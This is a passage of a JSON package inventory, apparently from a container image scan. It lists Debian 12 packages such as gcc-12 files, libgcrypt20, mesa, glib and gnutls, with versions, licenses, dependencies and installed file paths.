"InstalledFiles": [ "/usr/lib/gcc/x86_64-linux-gnu/12/crtbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtbeginS.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtbeginT.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtend.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtendS.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtfastmath.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtoffloadbegin.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtoffloadend.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtoffloadtable.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtprec32.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtprec64.o", "/usr/lib/gcc/x86_64-linux-gnu/12/crtprec80.o", "/usr/lib/gcc/x86_64-linux-gnu/12/include/acc_prof.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/adxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/ammintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/amxbf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/amxint8intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/amxtileintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx5124fmapsintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx5124vnniwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512bf16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512bf16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512bitalgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512bwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512cdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512dqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512erintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512fintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512fp16intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512fp16vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512ifmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512ifmavlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512pfintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vbmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vbmi2vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vbmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vbmivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vlbwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vldqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vnnivlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vp2intersectintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vp2intersectvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vpopcntdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avx512vpopcntdqvlintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/avxvnniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/backtrace-supported.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/backtrace.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/bmi2intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/bmiintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/bmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/cet.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/cetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/cldemoteintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/clflushoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/clwbintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/clzerointrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/cpuid.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/cross-stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/emmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/enqcmdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/f16cintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/float.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/fma4intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/fmaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/fxsrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/gcov.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/gfniintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/hresetintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/ia32intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/immintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/iso646.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/keylockerintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/limits.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/lwpintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/lzcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/mm3dnow.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/mm_malloc.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/mmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/movdirintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/mwaitintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/mwaitxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/nmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/omp.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/openacc.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/pconfigintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/pkuintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/pmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/popcntintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/prfchwintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/quadmath.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/quadmath_weak.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/rdseedintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/rtmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sanitizer/asan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sanitizer/common_interface_defs.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sanitizer/hwasan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sanitizer/lsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sanitizer/tsan_interface.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/serializeintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/sgxintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/shaintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/smmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdalign.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdarg.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdatomic.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdbool.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stddef.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdfix.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdint-gcc.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdint.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/stdnoreturn.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/syslimits.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/tbmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/tmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/tsxldtrkintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/uintrintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/unwind.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/vaesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/varargs.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/vpclmulqdqintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/waitpkgintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/wbnoinvdintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/wmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/x86gprintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/x86intrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xmmintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xopintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xsavecintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xsaveintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xsaveoptintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xsavesintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/include/xtestintrin.h", "/usr/lib/gcc/x86_64-linux-gnu/12/libasan.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libasan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/12/libatomic.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libbacktrace.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libgcc.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libgcc_eh.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libgcc_s.so", "/usr/lib/gcc/x86_64-linux-gnu/12/libgcov.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libgomp.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libitm.a", "/usr/lib/gcc/x86_64-linux-gnu/12/liblsan.a", "/usr/lib/gcc/x86_64-linux-gnu/12/liblsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/12/libquadmath.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libssp_nonshared.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libtsan.a", "/usr/lib/gcc/x86_64-linux-gnu/12/libtsan_preinit.o", "/usr/lib/gcc/x86_64-linux-gnu/12/libubsan.a" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcc-s1@12.2.0-14+deb12u1", "Name": "libgcc-s1", "Identifier": { "PURL": "pkg:deb/debian/libgcc-s1@12.2.0-14%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "ec4a8e5e255aeddb" }, "Version": "12.2.0", "Release": "14+deb12u1", "Arch": "amd64", "SrcName": "gcc-12", "SrcVersion": "12.2.0", "SrcRelease": "14+deb12u1", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-12-base@12.2.0-14+deb12u1", "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/lib/x86_64-linux-gnu/libgcc_s.so.1", "/usr/share/lintian/overrides/libgcc-s1" ], "AnalyzedBy": "dpkg" }, { "ID": "libgcrypt20@1.10.1-3", "Name": "libgcrypt20", "Identifier": { "PURL": "pkg:deb/debian/libgcrypt20@1.10.1-3?arch=amd64\u0026distro=debian-12.13", "UID": "ca482fb0c3d5645e" }, "Version": "1.10.1", "Release": "3", "Arch": "amd64", "SrcName": "libgcrypt20", "SrcVersion": "1.10.1", "SrcRelease": "3", "Licenses": [ "LGPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian GnuTLS Maintainers \u003cpkg-gnutls-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgpg-error0@1.46-1" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgcrypt.so.20.4.1", "/usr/share/doc/libgcrypt20/AUTHORS.gz", "/usr/share/doc/libgcrypt20/NEWS.gz", "/usr/share/doc/libgcrypt20/README.gz", "/usr/share/doc/libgcrypt20/THANKS.gz", "/usr/share/doc/libgcrypt20/changelog.Debian.gz", "/usr/share/doc/libgcrypt20/changelog.gz", "/usr/share/doc/libgcrypt20/copyright", "/usr/share/libgcrypt20/clean-up-unmanaged-libraries" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm-compat4@1.23-3", "Name": "libgdbm-compat4", "Identifier": { "PURL": "pkg:deb/debian/libgdbm-compat4@1.23-3?arch=amd64\u0026distro=debian-12.13", "UID": "289bc50841b6592e" }, "Version": "1.23", "Release": "3", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.23", "SrcRelease": "3", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgdbm6@1.23-3" ], "Layer": { "DiffID": "sha256:9d3386a72ce8957db2ae40d5d6ae2e9bd2955de276268a0065f44dd2a28ca8c7" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm_compat.so.4.0.0", "/usr/share/doc/libgdbm-compat4/changelog.Debian.gz", "/usr/share/doc/libgdbm-compat4/changelog.gz", "/usr/share/doc/libgdbm-compat4/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgdbm6@1.23-3", "Name": "libgdbm6", "Identifier": { "PURL": "pkg:deb/debian/libgdbm6@1.23-3?arch=amd64\u0026distro=debian-12.13", "UID": "18114edf8883941a" }, "Version": "1.23", "Release": "3", "Arch": "amd64", "SrcName": "gdbm", "SrcVersion": "1.23", "SrcRelease": "3", "Licenses": [ "GPL-3.0-or-later", "GPL-2.0-or-later", "GFDL-1.3-no-invariants-or-later", "GPL-3.0-only", "GPL-2.0-only" ], "Maintainer": "Nicolas Mora \u003cbabelouest@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:6ff9247b3f41dc0936f831eb656f2c2fca4682b9f1cbc17d601d0ab9f1f43e4a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgdbm.so.6.0.0", "/usr/share/doc/libgdbm6/changelog.Debian.gz", "/usr/share/doc/libgdbm6/changelog.gz", "/usr/share/doc/libgdbm6/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgl1@1.6.0-1", "Name": "libgl1", "Identifier": { "PURL": "pkg:deb/debian/libgl1@1.6.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "c77106a76bf6e1ba" }, "Version": "1.6.0", "Release": "1", "Arch": "amd64", "SrcName": "libglvnd", "SrcVersion": "1.6.0", "SrcRelease": "1", "Licenses": [ "MIT", "Apache-2.0", "public-domain", "GPL-3.0-or-later", "BSD-1-Clause", "GPL-2.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libglvnd0@1.6.0-1", "libglx0@1.6.0-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libGL.so.1.7.0", "/usr/share/bug/libgl1/control", "/usr/share/doc/libgl1/changelog.Debian.gz", "/usr/share/doc/libgl1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgl1-mesa-dri@22.3.6-1+deb12u1", "Name": "libgl1-mesa-dri", "Identifier": { "PURL": "pkg:deb/debian/libgl1-mesa-dri@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "8760400694b55647" }, "Version": "22.3.6", "Release": "1+deb12u1", "Arch": "amd64", "SrcName": "mesa", "SrcVersion": "22.3.6", "SrcRelease": "1+deb12u1", "Licenses": [ "MIT", "BSD-3-google", "Khronos", "Apache-2.0", "BSL-1.0", "MLAA", "SGI", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm-amdgpu1@2.4.114-1+b1", "libdrm-intel1@2.4.114-1+b1", "libdrm-nouveau2@2.4.114-1+b1", "libdrm-radeon1@2.4.114-1+b1", "libdrm2@2.4.114-1+b1", "libelf1@0.188-2.1", "libexpat1@2.5.0-1+deb12u2", "libgcc-s1@12.2.0-14+deb12u1", "libglapi-mesa@22.3.6-1+deb12u1", "libllvm15@1:15.0.6-4+b1", "libsensors5@1:3.6.0-7.1", "libstdc++6@12.2.0-14+deb12u1", "libxcb-dri3-0@1.15-1", "libzstd1@1.5.4+dfsg2-5", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/dri/crocus_dri.so", "/usr/lib/x86_64-linux-gnu/dri/d3d12_dri.so", "/usr/lib/x86_64-linux-gnu/dri/i915_dri.so", "/usr/lib/x86_64-linux-gnu/dri/iris_dri.so", "/usr/lib/x86_64-linux-gnu/dri/kms_swrast_dri.so", "/usr/lib/x86_64-linux-gnu/dri/nouveau_dri.so", "/usr/lib/x86_64-linux-gnu/dri/r300_dri.so", "/usr/lib/x86_64-linux-gnu/dri/r600_dri.so", "/usr/lib/x86_64-linux-gnu/dri/radeonsi_dri.so", "/usr/lib/x86_64-linux-gnu/dri/swrast_dri.so", "/usr/lib/x86_64-linux-gnu/dri/virtio_gpu_dri.so", "/usr/lib/x86_64-linux-gnu/dri/vmwgfx_dri.so", "/usr/lib/x86_64-linux-gnu/dri/zink_dri.so", "/usr/share/bug/libgl1-mesa-dri/control", "/usr/share/bug/libgl1-mesa-dri/script", "/usr/share/doc/libgl1-mesa-dri/changelog.Debian.gz", "/usr/share/doc/libgl1-mesa-dri/changelog.gz", "/usr/share/doc/libgl1-mesa-dri/copyright", "/usr/share/drirc.d/00-mesa-defaults.conf" ], "AnalyzedBy": "dpkg" }, { "ID": "libglapi-mesa@22.3.6-1+deb12u1", "Name": "libglapi-mesa", "Identifier": { "PURL": "pkg:deb/debian/libglapi-mesa@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "99b5135f6a5b704e" }, "Version": "22.3.6", "Release": "1+deb12u1", "Arch": "amd64", "SrcName": "mesa", "SrcVersion": "22.3.6", "SrcRelease": "1+deb12u1", "Licenses": [ "MIT", "BSD-3-google", "Khronos", "Apache-2.0", "BSL-1.0", "MLAA", "SGI", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libglapi.so.0.0.0", "/usr/share/bug/libglapi-mesa/control", "/usr/share/bug/libglapi-mesa/script", "/usr/share/doc/libglapi-mesa/changelog.Debian.gz", "/usr/share/doc/libglapi-mesa/changelog.gz", "/usr/share/doc/libglapi-mesa/copyright", "/usr/share/lintian/overrides/libglapi-mesa" ], "AnalyzedBy": "dpkg" }, { "ID": "libglib2.0-0@2.74.6-2+deb12u8", "Name": "libglib2.0-0", "Identifier": { "PURL": "pkg:deb/debian/libglib2.0-0@2.74.6-2%2Bdeb12u8?arch=amd64\u0026distro=debian-12.13", "UID": "d2e3645d4c6a35df" }, "Version": "2.74.6", "Release": "2+deb12u8", "Arch": "amd64", "SrcName": "glib2.0", "SrcVersion": "2.74.6", "SrcRelease": "2+deb12u8", "Licenses": [ "LGPL-2.0-or-later", "LGPL-2.1-or-later", "FSFULLR", "CC0-1.0", "Janik-permissive", "Iconv-PD", "Mingw-PD", "Old-GLib-Tests-permissive", "MIT", "AFL-2.0", "Unicode-DFS-2016", "GPL-2.0-or-later", "GPL-2.0-with-autoconf-exception+", "LGPL-3.0-or-later", "Apache-2.0 with LLVM exception", "Kuchling-PD", "Plumb-PD", "BSD-3-clause-pcre", "bzip2-1.0.6", "CC-BY-SA-3.0", "Apache-2.0", "GPL-2.0-only", "LGPL-2.0-only", "LGPL-2.1-only", "LGPL-3.0-only" ], "Maintainer": "Debian GNOME Maintainers \u003cpkg-gnome-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libffi8@3.4.4-1", "libmount1@2.38.1-5+deb12u3", "libpcre2-8-0@10.42-1", "libselinux1@3.4-1+b6", "zlib1g@1:1.2.13.dfsg-1" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/glib-2.0/gio-launch-desktop", "/usr/lib/x86_64-linux-gnu/glib-2.0/gio-querymodules", "/usr/lib/x86_64-linux-gnu/glib-2.0/glib-compile-schemas", "/usr/lib/x86_64-linux-gnu/libgio-2.0.so.0.7400.6", "/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.7400.6", "/usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0.7400.6", "/usr/lib/x86_64-linux-gnu/libgobject-2.0.so.0.7400.6", "/usr/lib/x86_64-linux-gnu/libgthread-2.0.so.0.7400.6", "/usr/share/doc/libglib2.0-0/NEWS.gz", "/usr/share/doc/libglib2.0-0/README.md", "/usr/share/doc/libglib2.0-0/changelog.Debian.gz", "/usr/share/doc/libglib2.0-0/copyright", "/usr/share/lintian/overrides/libglib2.0-0" ], "AnalyzedBy": "dpkg" }, { "ID": "libglvnd0@1.6.0-1", "Name": "libglvnd0", "Identifier": { "PURL": "pkg:deb/debian/libglvnd0@1.6.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "48d30b18e6fe08ff" }, "Version": "1.6.0", "Release": "1", "Arch": "amd64", "SrcName": "libglvnd", "SrcVersion": "1.6.0", "SrcRelease": "1", "Licenses": [ "MIT", "Apache-2.0", "public-domain", "GPL-3.0-or-later", "BSD-1-Clause", "GPL-2.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libGLdispatch.so.0.0.0", "/usr/share/bug/libglvnd0/control", "/usr/share/doc/libglvnd0/changelog.Debian.gz", "/usr/share/doc/libglvnd0/copyright", "/usr/share/lintian/overrides/libglvnd0" ], "AnalyzedBy": "dpkg" }, { "ID": "libglx-mesa0@22.3.6-1+deb12u1", "Name": "libglx-mesa0", "Identifier": { "PURL": "pkg:deb/debian/libglx-mesa0@22.3.6-1%2Bdeb12u1?arch=amd64\u0026distro=debian-12.13", "UID": "61deec2946f52e33" }, "Version": "22.3.6", "Release": "1+deb12u1", "Arch": "amd64", "SrcName": "mesa", "SrcVersion": "22.3.6", "SrcRelease": "1+deb12u1", "Licenses": [ "MIT", "BSD-3-google", "Khronos", "Apache-2.0", "BSL-1.0", "MLAA", "SGI", "BSD-2-Clause", "GPL-2.0-or-later" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libdrm2@2.4.114-1+b1", "libexpat1@2.5.0-1+deb12u2", "libgl1-mesa-dri@22.3.6-1+deb12u1", "libglapi-mesa@22.3.6-1+deb12u1", "libx11-6@2:1.8.4-2+deb12u2", "libx11-xcb1@2:1.8.4-2+deb12u2", "libxcb-dri2-0@1.15-1", "libxcb-dri3-0@1.15-1", "libxcb-glx0@1.15-1", "libxcb-present0@1.15-1", "libxcb-randr0@1.15-1", "libxcb-shm0@1.15-1", "libxcb-sync1@1.15-1", "libxcb-xfixes0@1.15-1", "libxcb1@1.15-1", "libxext6@2:1.3.4-1+b1", "libxfixes3@1:6.0.0-2", "libxshmfence1@1.3-1", "libxxf86vm1@1:1.1.4-1+b2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libGLX_mesa.so.0.0.0", "/usr/share/bug/libglx-mesa0/control", "/usr/share/bug/libglx-mesa0/script", "/usr/share/doc/libglx-mesa0/changelog.Debian.gz", "/usr/share/doc/libglx-mesa0/changelog.gz", "/usr/share/doc/libglx-mesa0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libglx0@1.6.0-1", "Name": "libglx0", "Identifier": { "PURL": "pkg:deb/debian/libglx0@1.6.0-1?arch=amd64\u0026distro=debian-12.13", "UID": "e9eed17ae50b3c93" }, "Version": "1.6.0", "Release": "1", "Arch": "amd64", "SrcName": "libglvnd", "SrcVersion": "1.6.0", "SrcRelease": "1", "Licenses": [ "MIT", "Apache-2.0", "public-domain", "GPL-3.0-or-later", "BSD-1-Clause", "GPL-2.0-or-later", "GPL-3.0-only" ], "Maintainer": "Debian X Strike Force \u003cdebian-x@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libglvnd0@1.6.0-1", "libglx-mesa0@22.3.6-1+deb12u1", "libx11-6@2:1.8.4-2+deb12u2" ], "Layer": { "DiffID": "sha256:45208430be05c13828993fc9b0e9c2f07be694a6f81958b771ff0552a39f7ecd" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libGLX.so.0.0.0", "/usr/share/bug/libglx0/control", "/usr/share/doc/libglx0/changelog.Debian.gz", "/usr/share/doc/libglx0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgmp10@2:6.2.1+dfsg1-1.1", "Name": "libgmp10", "Identifier": { "PURL": "pkg:deb/debian/libgmp10@6.2.1%2Bdfsg1-1.1?arch=amd64\u0026distro=debian-12.13\u0026epoch=2", "UID": "89d9c0f575d5fa6c" }, "Version": "6.2.1+dfsg1", "Release": "1.1", "Epoch": 2, "Arch": "amd64", "SrcName": "gmp", "SrcVersion": "6.2.1+dfsg1", "SrcRelease": "1.1", "SrcEpoch": 2, "Licenses": [ "GPL-2.0-or-later", "LGPL-3.0-or-later", "GPL-3.0-or-later", "GPL-3+ with Bison exception", "GPL-2.0-only", "GPL-3.0-only", "LGPL-3.0-only" ], "Maintainer": "Debian Science Team \u003cdebian-science-maintainers@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13" ], "Layer": { "DiffID": "sha256:e48af84b2108a5d73effd9e16685b42ac33e7994e606398c46690918f5f3604a" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libgmp.so.10.4.1", "/usr/share/doc/libgmp10/README.Debian", "/usr/share/doc/libgmp10/changelog.Debian.gz", "/usr/share/doc/libgmp10/changelog.gz", "/usr/share/doc/libgmp10/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libgnutls30@3.7.9-2+deb12u5", "Name": "libgnutls30", "Identifier": { "PURL": "pkg:deb/debian/libgnutls30@3.7.9-2%2Bdeb12u5?arch=amd64\u0026distro=debian-12.13", "UID": "48d5c0492eba034e" }, "Version": "3.7.9", "Release": "2+deb12u5", "Arch": "amd64", "SrcName": "gnutls28", "SrcVersion": "3.7.9", "SrcRelease": "2+deb12u5", "Licenses": [ "LGPL-2.1-only", "LGPL-2.0-or-later", "LGPL-3.0-only", "GPL-2.0-or-later", "GPL-3.0-only", "GFDL-1.3-only", "CC0-1.0", "MIT", "Apache-2.0", "LGPL-3.0-or-later", "LGPL-2.1-or-later", "GPL-3.0-or-later", "BSD-3-Clause" ], "Maintainer": "Debian GnuTLS Maintainers \u003cpkg-gnutls-maint@lists.alioth.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.36-9+deb12u13", "libgmp10@2:6.2.1+dfsg1-1.1", "libhogweed6@3.8.1-2", 